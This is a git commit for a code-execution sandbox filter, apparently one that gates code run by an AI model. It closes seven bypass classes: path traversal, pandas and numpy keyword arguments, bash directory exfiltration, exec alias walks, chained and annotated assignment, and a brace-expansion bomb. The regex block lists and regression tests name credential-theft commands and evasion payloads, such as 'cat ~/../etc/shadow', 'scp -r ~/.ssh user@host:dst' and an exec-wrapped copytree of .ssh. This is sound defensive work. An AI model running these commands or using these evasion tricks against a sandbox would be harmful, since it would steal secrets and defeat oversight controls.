studio/sandbox: close 7 bypass classes from cross-reviewer round-6 audit
Round-6 sonnet-panel review surfaced seven more concrete bypass
classes. All seven are now closed (629 tests passing, 60 new R6
regression tests):
1. Path traversal under home prefix. `~/../etc/shadow`,
`~root/../etc/shadow`, `~ubuntu/../../etc/shadow`, and
`/home/u/../u/.aws/credentials` all slipped because
`_normalize_path_separators` re-attached the home prefix even
when `..` had escaped it. Now when the tail of a home-prefixed
path begins with `..`, the projection is treated as absolute
(mirroring the runtime resolve when HOME is a single-segment path
like `/root`). POSIX `~<user>/` tilde-user expansion is
handled the same way.
2. Pandas / numpy reader keyword arguments. `pd.read_csv(filepath_or_buffer='/etc/shadow')`,
`pd.read_excel(io=...)`, `np.fromfile(fname=...)` used the actual
API parameter names that the previous gate's `{"file", "path"}`
kwarg list missed. The kwarg set is expanded to cover
`filepath_or_buffer`, `path_or_buf`, `fname`, `filename`, `io`,
`buf`, `source`, `src` and a few common variants.
3. Bash directory exfil verbs. `cp -r ~/.ssh /tmp/out`, `mv ~/.aws /tmp`,
`tar czf out.tar.gz ~/.ssh`, `rsync -av ~/.aws/ /tmp/`,
`zip -r out.zip ~/.ssh` previously slipped because
`_find_sensitive_paths` only flagged named files, leaving the
bash side asymmetric to the Python shutil dir-exfil gate. A new
`_BASH_DIR_EXFIL_RE` matches dir-copy verbs (`cp`, `mv`, `rsync`,
`tar`, `zip`, `7z`, `scp`, `sftp`, `xz`) followed by a sensitive
directory. `ls ~/.ssh` and `find ~/.aws -type f` stay allowed.
4. Inner-tree alias walk for eval / exec. `exec("import shutil as sh\nsh.copytree('~/.ssh', dst)")`
slipped because the inner AST visit did not re-run the
alias-tracking pre-pass that built `shutil_module_aliases`.
Extracted both pre-pass loops into helpers (`_run_alias_prepass`,
already had `_run_string_binding_prepass`) and call both on each
literal eval / exec payload before the visitor recurses.
5. Chained assignment. `a = b = '/etc/shadow'; open(a).read()`
slipped because the binding pre-pass only handled
`len(targets) == 1`. Multi-target Assign nodes now bind every
Name target to the resolved value.
6. Annotated assignment. `path: str = '/etc/shadow'; open(path)`
slipped because the binding pre-pass walked `ast.Assign` but
not `ast.AnnAssign`. Same-shape handler for single Name target.
7. Brace-bomb empty-alt bypass. `cat ~/{,x0,...,x341}/{.ssh/id_rsa,other}`
exhausts the expansion cap before the empty alt's second-brace
projection reaches `~/.ssh/id_rsa`. A defensive
`_SENSITIVE_IN_BRACE_RE` catches sensitive-name fragments inside
an unexpanded brace group attached to a sensitive root,
regardless of whether the brace expansion completed. Anchored
with `(?<=[,{/])` lookbehind and `(?=,|\}|/)` lookahead so
project-local lookalikes (`./workspace/home/u/{a,b}/...`) stay
allowed via the `_PATH_TOKEN_START` boundary.
NetworkAndIoVisitor inner-tree pre-pass. The visitor eval / exec
recursion now mirrors SignalEscapeVisitor's call to both
`_run_alias_prepass` and `_run_string_binding_prepass` so it is
independently correct regardless of visitor execution order.
Cumulative bypass closures across rounds 1 through 6: 24 distinct
classes, 629 regression tests, three-OS green.
This commit is contained in:
danielhanchen
parent
178bcf70d1
commit
eae716675b
2 changed files with 471 additions and 43 deletions
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@ -332,6 +332,59 @@ _SENSITIVE_ROOT_WITH_EXPANSION_RE = re.compile(
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re.IGNORECASE,
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)
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# ``cp -r ~/.ssh /tmp/out`` / ``mv ~/.aws /tmp/out`` /
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# ``tar czf out.tar.gz ~/.ssh`` -- bash directory-copy commands
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# referencing a sensitive directory. The Python shutil gate covers
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# the in-process equivalents (`shutil.copytree` etc.); without this
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# pattern the bash side is asymmetric and `os.system('cp -r ~/.ssh
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# /tmp/out')` slips through. The named commands cover the common
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# dir-exfil verbs; ``rsync`` / ``zip`` / ``7z`` are added too because
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# they all read the source directory recursively. ``ls`` / ``find``
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# / ``cd`` / ``cat <single file>`` deliberately stay out of this
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# list so legitimate inspection of sensitive directories is still
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# allowed.
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_BASH_DIR_EXFIL_COMMANDS = (
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"cp",
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"mv",
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"rsync",
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"tar",
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"zip",
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"7z",
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"7za",
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"xz",
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"scp",
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"sftp",
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)
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_BASH_SENSITIVE_DIR_NAMES = (
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r"\.ssh",
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r"\.aws",
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r"\.gnupg",
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r"\.kube",
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r"\.docker",
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r"\.config/gcloud",
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r"\.password-store",
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)
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_BASH_DIR_EXFIL_RE = re.compile(
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r"\b(?:"
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+ "|".join(re.escape(c) for c in _BASH_DIR_EXFIL_COMMANDS)
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+ r")\b[^;&|\n]*?"
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+ r"(?:"
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+ _HOME_PREFIX_RE
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+ r"(?:" + "|".join(_BASH_SENSITIVE_DIR_NAMES) + r")"
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+ r"(?=/?$|/?[\s'\";&|)<>])"
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+ r"|"
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+ r"(?<![A-Za-z0-9_./~$%-])/etc(?=/?$|/?[\s'\";&|)<>])"
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+ r"|"
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+ r"(?<![A-Za-z0-9_./~$%-])/etc/ssh(?=/?$|/?[\s'\";&|)<>])"
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+ r"|"
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+ r"(?<![A-Za-z0-9_./~$%-])/var/spool/cron(?=/?$|/?[\s'\";&|)<>])"
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+ r"|"
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+ r"(?<![A-Za-z0-9_./~$%-])/proc/(?:self|thread-self|\d+)"
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+ r"(?=/?$|/?[\s'\";&|)<>])"
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+ r")",
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re.IGNORECASE,
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)
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# ``cat /etc/sha*ow`` / ``cat /etc/sh?dow`` -- bash expands ``*`` and
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# ``?`` glob wildcards against the filesystem. The brace expander above
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# only handles ``{a,b}`` braces; this pattern catches the wildcard
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@ -358,11 +411,23 @@ _SENSITIVE_ROOT_WITH_GLOB_RE = re.compile(
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_BRACE_EXPANSION_RE = re.compile(r"\{([^{}]*,[^{}]*)\}")
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_TILDE_USER_PREFIX_RE = re.compile(r"^~[^/]+/")
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def _normalize_path_separators(text: str) -> str:
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"""Collapse ``//`` to ``/``, remove ``/./`` segments, and resolve
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``/..`` parent-directory traversal so that filesystem-equivalent
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spellings of a sensitive path (``/etc//shadow``, ``/etc/./shadow``,
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``/etc/apt/../shadow``) match the canonical pattern."""
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``/etc/apt/../shadow``) match the canonical pattern.
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Home prefix handling. ``~/`` / ``$HOME/`` / ``${HOME}/`` /
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``%USERPROFILE%/`` and POSIX ``~<user>/`` get re-attached after
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the parent-dir resolve so ``~/.ssh/../.aws/credentials`` becomes
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``~/.aws/credentials``. When the ``..`` chain breaks out of HOME
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(``~/../etc/shadow``, ``~root/../etc/shadow``) the home prefix is
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DROPPED instead: with a single-segment sandbox HOME like ``/root``
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the runtime resolves ``~/../etc/shadow`` to ``/etc/shadow``, so
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the absolute projection has to reach ``_ABSOLUTE_SENSITIVE_RE``."""
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if not text:
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return text
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# Preserve the scheme separator (``http://``); collapse only path slashes.
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@ -373,14 +438,25 @@ def _normalize_path_separators(text: str) -> str:
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collapsed = collapsed[:-2] or "/"
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if "/.." in collapsed or collapsed.endswith("/.."):
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# posixpath.normpath only follows ``..`` when the path is
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# absolute or starts with a known root. Reassemble a tilde or
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# ${HOME} prefix afterwards so ``~/.ssh/../.aws/credentials``
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# resolves to ``~/.aws/credentials`` rather than getting eaten.
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# absolute or starts with a known root. Re-attach the home
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# prefix unless ``..`` escaped home, in which case the
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# absolute form is what the runtime will hit.
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for prefix in ("~/", "$HOME/", "${HOME}/", "%USERPROFILE%/"):
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if collapsed.startswith(prefix):
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tail = collapsed[len(prefix) :]
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tail = posixpath.normpath("/" + tail).lstrip("/")
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return prefix + tail
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if tail.startswith("..") or tail.startswith("./.."):
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return posixpath.normpath("/" + tail)
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return prefix + posixpath.normpath(
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"/" + tail
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).lstrip("/")
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tilde_user = _TILDE_USER_PREFIX_RE.match(collapsed)
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if tilde_user:
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tail = collapsed[tilde_user.end() :]
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if tail.startswith("..") or tail.startswith("./.."):
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return posixpath.normpath("/" + tail)
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return tilde_user.group(0) + posixpath.normpath(
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"/" + tail
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).lstrip("/")
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collapsed = posixpath.normpath(collapsed)
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return collapsed
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@ -397,6 +473,59 @@ def _expand_token_normalisations(token: str) -> set[str]:
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return out
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# Sensitive-name fragments that the brace-aware regex below catches
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# even when the full string is never expanded (e.g. when the brace
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# group has so many alternatives that the expansion cap stops short).
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_SENSITIVE_BRACE_NAMES = (
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r"\.ssh/id_rsa",
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r"\.ssh/id_ed25519",
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r"\.ssh/id_ecdsa",
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r"\.ssh/id_dsa",
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r"\.aws/credentials",
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r"\.config/gcloud/[\w.]+",
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r"\.gnupg/[\w./-]+",
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r"\.netrc",
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r"\.pypirc",
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r"\.npmrc",
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r"\.docker/config\.json",
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r"\.kube/config",
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r"shadow",
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r"sudoers",
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r"passwd",
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r"environ",
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r"cmdline",
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r"maps",
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r"mem",
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)
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_SENSITIVE_IN_BRACE_RE = re.compile(
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_PATH_TOKEN_START
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+ r"(?:"
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+ r"~(?:[^/\s'\";&|)<>]*)?/+"
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+ r"|\$\{?HOME\}?/+"
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+ r"|/home/[^/\s'\"]+/+"
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+ r"|/root/+"
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+ r"|/Users/[^/\s'\"]+/+"
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+ r"|/etc/+"
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+ r"|/proc/(?:self|thread-self|\d+)/+"
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+ r"|/var/spool/cron/+"
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+ r")"
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# Path body between the sensitive root and the final brace can
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# contain its own brace groups (the bypass uses a leading brace
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# with many dummy alternatives plus one empty alt that elides the
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# intermediate path segment). ``[^\s'\";&|`$]*`` allows any path
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# content but no shell-token terminator. The inner alternative
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# is anchored with a ``(?<=[,{/])`` lookbehind plus a ``(?=,|\}|/)``
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# lookahead so the sensitive name is matched as a complete brace
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# alternative (``\b`` does not fire between ``.`` and ``{`` -- both
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# non-word -- so it cannot be used here).
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+ r"[^\s'\";&|`$]*?"
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+ r"\{[^{}]*?(?<=[,{/])(?:"
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+ "|".join(_SENSITIVE_BRACE_NAMES)
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+ r")(?=,|\}|/)[^{}]*\}",
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re.IGNORECASE,
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)
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def _expand_brace_projections(text: str, limit: int = 1024) -> set[str]:
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"""Return the set of strings reachable from *text* by applying bash
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brace expansion ``{a,b}`` and bounded ``[abc]`` glob character
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@ -534,6 +663,20 @@ def _find_sensitive_paths(command: str) -> set[str]:
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# an attempt to escape literal-path detection.
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for m in _SENSITIVE_ROOT_WITH_GLOB_RE.finditer(text):
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found.add(m.group(0))
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# Directory-copy verbs (``cp -r``, ``mv``, ``tar`` etc.) that
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# reference a sensitive directory. Asymmetry-fix for the
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# Python shutil dir-exfil gate that the round-4 commit added;
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# without this the bash side is still wide open.
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for m in _BASH_DIR_EXFIL_RE.finditer(text):
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found.add(m.group(0))
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# Brace-bomb defence. ``cat ~/{,x0,...,x341}/{.ssh/id_rsa,...}``
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# exceeds ``_expand_brace_projections``'s cap so the leaf
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# projection ``~/.ssh/id_rsa`` never reaches the literal regex.
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# This pattern catches the sensitive-name fragments inside a
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# brace group attached to a sensitive root and fires
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# regardless of whether the expansion completed.
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for m in _SENSITIVE_IN_BRACE_RE.finditer(text):
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found.add(m.group(0))
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# Recurse into nested shells. Mirrors the structure in
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# _find_blocked_commands so ``bash -c "cat ~/.ssh/id_rsa"`` and
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@ -1357,42 +1500,53 @@ def _check_signal_escape_patterns(code: str):
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pathlib_module_aliases_prepass: set[str] = {"pathlib"}
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path_class_aliases_prepass: set[str] = set(_PATHLIB_PATH_CLASSES_PREPASS)
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for _node in ast.walk(tree):
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if isinstance(_node, ast.Import):
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for alias in _node.names:
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_local = alias.asname or alias.name
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if alias.name == "os":
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os_path_module_aliases.add(f"{_local}.path")
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elif alias.name in ("posixpath", "ntpath"):
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os_path_module_aliases.add(_local)
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elif alias.name == "shutil":
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shutil_module_aliases.add(_local)
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elif alias.name == "pathlib":
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pathlib_module_aliases_prepass.add(_local)
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elif isinstance(_node, ast.ImportFrom):
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if _node.module == "os":
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def _run_alias_prepass(subtree: ast.AST) -> None:
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"""Collect import aliases (os/os.path/posixpath/shutil/pathlib)
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from ``subtree``. Idempotent and additive so eval/exec payloads
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that contain ``import shutil as sh`` see their aliases tracked
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before the inner visitor runs."""
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for _node in ast.walk(subtree):
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if isinstance(_node, ast.Import):
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for alias in _node.names:
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if alias.name == "path":
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os_path_module_aliases.add(alias.asname or "path")
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elif _node.module == "os.path" or _node.module in (
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"posixpath",
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"ntpath",
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):
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for alias in _node.names:
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if alias.name == "join":
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bare_path_join_aliases.add(alias.asname or "join")
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elif alias.name == "expanduser":
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bare_path_expanduser_aliases.add(alias.asname or "expanduser")
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elif _node.module == "shutil":
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for alias in _node.names:
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if alias.name in _SHUTIL_COPY_NAMES:
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bare_shutil_copy_aliases[alias.asname or alias.name] = (
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f"shutil.{alias.name}"
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)
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elif _node.module == "pathlib":
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for alias in _node.names:
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if alias.name in _PATHLIB_PATH_CLASSES_PREPASS:
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path_class_aliases_prepass.add(alias.asname or alias.name)
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_local = alias.asname or alias.name
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if alias.name == "os":
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os_path_module_aliases.add(f"{_local}.path")
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elif alias.name in ("posixpath", "ntpath"):
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os_path_module_aliases.add(_local)
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elif alias.name == "shutil":
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shutil_module_aliases.add(_local)
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elif alias.name == "pathlib":
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pathlib_module_aliases_prepass.add(_local)
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elif isinstance(_node, ast.ImportFrom):
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if _node.module == "os":
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for alias in _node.names:
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if alias.name == "path":
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os_path_module_aliases.add(alias.asname or "path")
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elif _node.module == "os.path" or _node.module in (
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"posixpath",
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"ntpath",
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):
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for alias in _node.names:
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if alias.name == "join":
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bare_path_join_aliases.add(alias.asname or "join")
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elif alias.name == "expanduser":
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bare_path_expanduser_aliases.add(
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alias.asname or "expanduser"
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)
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elif _node.module == "shutil":
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for alias in _node.names:
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if alias.name in _SHUTIL_COPY_NAMES:
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bare_shutil_copy_aliases[alias.asname or alias.name] = (
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f"shutil.{alias.name}"
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)
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elif _node.module == "pathlib":
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for alias in _node.names:
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if alias.name in _PATHLIB_PATH_CLASSES_PREPASS:
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path_class_aliases_prepass.add(
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alias.asname or alias.name
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)
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_run_alias_prepass(tree)
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# ``_SENSITIVE_FILE_PREFIXES`` and ``_SENSITIVE_FILE_RE`` are also
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# defined inside ``NetworkAndIoVisitor`` for the open-call gate,
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@ -1737,8 +1891,41 @@ def _check_signal_escape_patterns(code: str):
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if _val is not None:
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_record_string_binding(_assign.target.id, _val)
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continue
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# Annotated assignment (``path: str = '/etc/shadow'``) is
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# an ast.AnnAssign, not an ast.Assign. Same surface: a
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# single Name target bound to a single value.
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if isinstance(_assign, ast.AnnAssign) and isinstance(
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_assign.target, ast.Name
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) and _assign.value is not None:
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_val = _extract_string_from_node(_assign.value)
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if _val is None:
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_val = _extract_pathlib_target(
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_assign.value,
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path_class_aliases_prepass,
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pathlib_module_aliases_prepass,
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)
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if _val is not None:
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_record_string_binding(_assign.target.id, _val)
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continue
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if not isinstance(_assign, ast.Assign):
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continue
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# Chained assignment ``a = b = '/etc/shadow'`` is one Assign
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# node with multiple targets. Resolve the value once and
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# bind every Name target -- ``open(a)`` and ``open(b)``
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# both have to flow through the gate.
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if len(_assign.targets) > 1:
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_val = _extract_string_from_node(_assign.value)
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if _val is None:
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_val = _extract_pathlib_target(
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_assign.value,
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path_class_aliases_prepass,
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pathlib_module_aliases_prepass,
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)
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if _val is not None:
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for _tgt in _assign.targets:
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if isinstance(_tgt, ast.Name):
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_record_string_binding(_tgt.id, _val)
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continue
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if len(_assign.targets) == 1:
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_target = _assign.targets[0]
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if isinstance(_target, ast.Name):
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|
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@ -2214,6 +2401,7 @@ def _check_signal_escape_patterns(code: str):
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# ``open(p)`` visit. Without this the inner
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# ``Name('p')`` lookup misses and the read
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# is treated as dynamic-and-allowed.
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_run_alias_prepass(inner_tree)
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_run_string_binding_prepass(inner_tree)
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self._eval_depth += 1
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try:
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@ -2975,6 +3163,18 @@ def _check_signal_escape_patterns(code: str):
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except SyntaxError:
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inner_tree = None
|
||||
if inner_tree is not None:
|
||||
# Mirror SignalEscapeVisitor: re-run
|
||||
# the string-binding pre-pass on the
|
||||
# payload so inner variable assignments
|
||||
# are visible to this visitor too. The
|
||||
# gate currently works because the
|
||||
# other visitor runs first and shares
|
||||
# ``string_bindings``, but making this
|
||||
# site independently correct prevents
|
||||
# a silent regression if visitor order
|
||||
# ever changes.
|
||||
_run_alias_prepass(inner_tree)
|
||||
_run_string_binding_prepass(inner_tree)
|
||||
self._eval_depth += 1
|
||||
try:
|
||||
self.visit(inner_tree)
|
||||
|
|
@ -3255,10 +3455,32 @@ def _check_signal_escape_patterns(code: str):
|
|||
if path_lit is None:
|
||||
path_lit = _extract_string_from_node(node.args[0])
|
||||
|
||||
# ``open(file=...)`` / ``io.open(file=...)`` keyword form.
|
||||
# Keyword form. Covers:
|
||||
# * ``open(file=...)`` / ``io.open(file=...)``
|
||||
# * ``pd.read_csv(filepath_or_buffer=...)`` /
|
||||
# ``pd.read_parquet(path=...)`` etc.
|
||||
# * ``np.fromfile(file=...)`` / ``np.loadtxt(fname=...)`` /
|
||||
# ``np.load(file=...)``
|
||||
# The keyword set is intentionally broad because the
|
||||
# downstream sensitive-path check is the actual gate;
|
||||
# extra kwargs just give us additional ways to spot
|
||||
# the path argument.
|
||||
_FILE_PATH_KWARGS = (
|
||||
"file",
|
||||
"path",
|
||||
"filepath",
|
||||
"filepath_or_buffer",
|
||||
"path_or_buf",
|
||||
"fname",
|
||||
"filename",
|
||||
"io",
|
||||
"buf",
|
||||
"source",
|
||||
"src",
|
||||
)
|
||||
if path_lit is None:
|
||||
for kw in node.keywords or []:
|
||||
if kw.arg in ("file", "path"):
|
||||
if kw.arg in _FILE_PATH_KWARGS:
|
||||
path_lit = _extract_pathlib_target(
|
||||
kw.value,
|
||||
self.path_aliases,
|
||||
|
|
|
|||
|
|
@ -2038,3 +2038,209 @@ class TestR5_UdpAndConnectExMetadata:
|
|||
)
|
||||
def test_udp_metadata_legit_allowed(self, code):
|
||||
assert not _is_blocked(code), f"legit udp blocked: {code!r}"
|
||||
|
||||
|
||||
class TestR6_PathTraversalNormalization:
|
||||
"""``~/../etc/shadow``, ``~root/../etc/shadow``, and ``/home/u/../u/
|
||||
.aws/credentials`` all bypass the previous ``_normalize_path_separators``.
|
||||
When ``..`` escapes the home prefix, the projection is now treated
|
||||
as absolute so the runtime resolution (HOME=/root makes ``~/..`` =
|
||||
``/``) flows through ``_ABSOLUTE_SENSITIVE_RE``."""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"cmd",
|
||||
[
|
||||
"cat ~/../etc/shadow",
|
||||
"cat ~/../../etc/shadow",
|
||||
"cat ~/../etc/sudoers",
|
||||
"cat ~/../root/.ssh/id_rsa",
|
||||
"cat ~ubuntu/../../etc/shadow",
|
||||
"cat ~root/../etc/shadow",
|
||||
"cat /home/u/../u/.aws/credentials",
|
||||
"cat /home/alice/../alice/.ssh/id_rsa",
|
||||
"cat $HOME/../etc/shadow",
|
||||
],
|
||||
)
|
||||
def test_path_traversal_blocked(self, cmd):
|
||||
assert _find_sensitive_paths(cmd), (
|
||||
f"path traversal leaked: {cmd!r}"
|
||||
)
|
||||
|
||||
|
||||
class TestR6_PandasNumpyKeywordArgs:
|
||||
"""``pd.read_csv(filepath_or_buffer='/etc/shadow')`` and
|
||||
``np.fromfile(fname='/etc/shadow')`` used the actual pandas /
|
||||
numpy parameter names that the previous kwarg gate (``{"file",
|
||||
"path"}``) missed. The kwarg list is now broad enough to cover
|
||||
every common reader signature."""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
"import pandas as pd; pd.read_csv(filepath_or_buffer='/etc/shadow')",
|
||||
"import pandas as pd; pd.read_excel(io='/home/u/.aws/credentials')",
|
||||
"import pandas as pd; pd.read_pickle(filepath_or_buffer='/proc/self/environ')",
|
||||
"import numpy as np; np.fromfile(fname='/etc/shadow')",
|
||||
"import numpy as np; np.loadtxt(fname='/etc/shadow')",
|
||||
"open(filepath='/etc/shadow')",
|
||||
"open(filename='/home/u/.aws/credentials')",
|
||||
],
|
||||
)
|
||||
def test_pandas_numpy_kwarg_blocked(self, code):
|
||||
assert _is_blocked(code), f"pandas/numpy kwarg leaked: {code!r}"
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
"import pandas as pd; pd.read_csv(filepath_or_buffer='./data.csv')",
|
||||
"import numpy as np; np.loadtxt(fname='train.txt')",
|
||||
],
|
||||
)
|
||||
def test_pandas_numpy_kwarg_legit_allowed(self, code):
|
||||
assert not _is_blocked(code), f"legit pandas kwarg blocked: {code!r}"
|
||||
|
||||
|
||||
class TestR6_BashDirectoryExfil:
|
||||
"""``cp -r ~/.ssh /tmp/out`` and ``mv ~/.aws /tmp`` were not
|
||||
blocked because ``_find_sensitive_paths`` only flagged named
|
||||
files. The asymmetry-fix to the Python shutil dir-exfil gate
|
||||
now mirrors directory-copy verbs in bash too: ``cp``, ``mv``,
|
||||
``rsync``, ``tar``, ``zip``, ``7z``, ``scp``, ``sftp``."""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"cmd",
|
||||
[
|
||||
"cp -r ~/.ssh /tmp/out",
|
||||
"cp -r /home/u/.aws /tmp/out",
|
||||
"cp -R ~/.gnupg /tmp/out",
|
||||
"mv ~/.aws /tmp/out",
|
||||
"mv /root/.kube /tmp/out",
|
||||
"tar czf out.tar.gz ~/.ssh",
|
||||
"tar -cvf out.tar /home/u/.aws",
|
||||
"rsync -av ~/.aws/ /tmp/",
|
||||
"rsync -r /home/u/.ssh/ remote:dst",
|
||||
"zip -r out.zip ~/.ssh",
|
||||
"7z a out.7z ~/.aws",
|
||||
"scp -r ~/.ssh user@host:dst",
|
||||
"cp -r /etc /tmp/etc-copy",
|
||||
],
|
||||
)
|
||||
def test_bash_dir_exfil_blocked(self, cmd):
|
||||
assert _find_sensitive_paths(cmd), (
|
||||
f"bash dir exfil leaked: {cmd!r}"
|
||||
)
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"cmd",
|
||||
[
|
||||
"ls ~/.ssh",
|
||||
"find ~/.aws -type f",
|
||||
"cp ./src/a.txt ./dst/b.txt",
|
||||
"mv ./old.log ./archive/",
|
||||
"tar tf out.tar.gz",
|
||||
"cat ~/.ssh/known_hosts",
|
||||
],
|
||||
)
|
||||
def test_bash_dir_exfil_legit_allowed(self, cmd):
|
||||
assert not _find_sensitive_paths(cmd), (
|
||||
f"legit bash dir blocked: {cmd!r}"
|
||||
)
|
||||
|
||||
|
||||
class TestR6_InnerTreeAliasWalk:
|
||||
"""``exec("import shutil as sh\\nsh.copytree('/home/u/.ssh',
|
||||
'/tmp/out')")`` previously slipped because the inner AST visit
|
||||
ran without re-running the alias-tracking pre-pass. The
|
||||
``_run_alias_prepass`` helper now mirrors ``_run_string_binding_prepass``
|
||||
on each literal eval / exec payload."""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
"exec(\"import shutil as sh\\nsh.copytree('/home/u/.ssh', '/tmp/out')\")",
|
||||
"exec(\"from shutil import copytree\\ncopytree('/home/u/.ssh', '/tmp/out')\")",
|
||||
"exec(\"import os as o\\no.system('cat /etc/shadow')\")",
|
||||
"exec(\"from os.path import join\\nopen(join('/etc', 'shadow'))\")",
|
||||
],
|
||||
)
|
||||
def test_inner_alias_walk_blocked(self, code):
|
||||
assert _is_blocked(code), f"inner alias leaked: {code!r}"
|
||||
|
||||
|
||||
class TestR6_ChainedAndAnnAssign:
|
||||
"""``a = b = '/etc/shadow'; open(a)`` (multi-target Assign) and
|
||||
``path: str = '/etc/shadow'; open(path)`` (AnnAssign) were
|
||||
untracked by the binding pre-pass. Both shapes are now handled."""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
"a = b = '/etc/shadow'\nopen(a).read()",
|
||||
"a = b = '/etc/shadow'\nopen(b).read()",
|
||||
"a = b = c = '/proc/self/environ'\nopen(c)",
|
||||
"path: str = '/etc/shadow'\nopen(path).read()",
|
||||
"path: str = '/home/u/.aws/credentials'\nopen(path)",
|
||||
"p: \"PathLike\" = '/etc/shadow'\nopen(p)",
|
||||
],
|
||||
)
|
||||
def test_chained_annassign_blocked(self, code):
|
||||
assert _is_blocked(code), f"chained/AnnAssign leaked: {code!r}"
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
"a = b = './data.txt'\nopen(a)",
|
||||
"path: str = './logs/app.log'\nopen(path)",
|
||||
],
|
||||
)
|
||||
def test_chained_annassign_legit_allowed(self, code):
|
||||
assert not _is_blocked(code), (
|
||||
f"legit chained/AnnAssign blocked: {code!r}"
|
||||
)
|
||||
|
||||
|
||||
class TestR6_BraceBombEmptyAlt:
|
||||
"""``cat ~/{,x0,...,x341}/{.ssh/id_rsa,other}`` exploited the
|
||||
expansion cap. After expanding 342 alts of the first brace + 2
|
||||
alts of the second, ``out`` exceeds 1024 and the empty alt's
|
||||
second-brace expansion never runs -- so the leaf ``~/.ssh/id_rsa``
|
||||
is never projected. ``_SENSITIVE_IN_BRACE_RE`` catches the
|
||||
sensitive name inside an unexpanded brace attached to a sensitive
|
||||
root."""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"n_dummies",
|
||||
[3, 50, 200, 341, 500],
|
||||
)
|
||||
def test_brace_bomb_empty_alt_blocked(self, n_dummies):
|
||||
dummies = ",".join(f"x{i}" for i in range(n_dummies))
|
||||
cmd = f"cat ~/{{,{dummies}}}/{{.ssh/id_rsa,other}}"
|
||||
assert _find_sensitive_paths(cmd), (
|
||||
f"brace empty-alt bomb leaked at n={n_dummies}: {cmd!r}"
|
||||
)
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"cmd",
|
||||
[
|
||||
"cat /etc/{passwd,hosts}",
|
||||
"cat /etc/{shadow,sudoers}",
|
||||
"cat ~/{,a,b}/{.aws/credentials,safe}",
|
||||
],
|
||||
)
|
||||
def test_inner_brace_sensitive_blocked(self, cmd):
|
||||
assert _find_sensitive_paths(cmd), (
|
||||
f"inner-brace sensitive name leaked: {cmd!r}"
|
||||
)
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"cmd",
|
||||
[
|
||||
"cat ~/{notes,docs}/file.txt",
|
||||
"cat /etc/{,hostname}", # /etc/hostname is allow-listed
|
||||
"cat ./workspace/home/u/{a,b}/{.aws/credentials,safe}",
|
||||
],
|
||||
)
|
||||
def test_brace_legit_allowed(self, cmd):
|
||||
assert not _find_sensitive_paths(cmd), (
|
||||
f"legit brace blocked: {cmd!r}"
|
||||
)
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue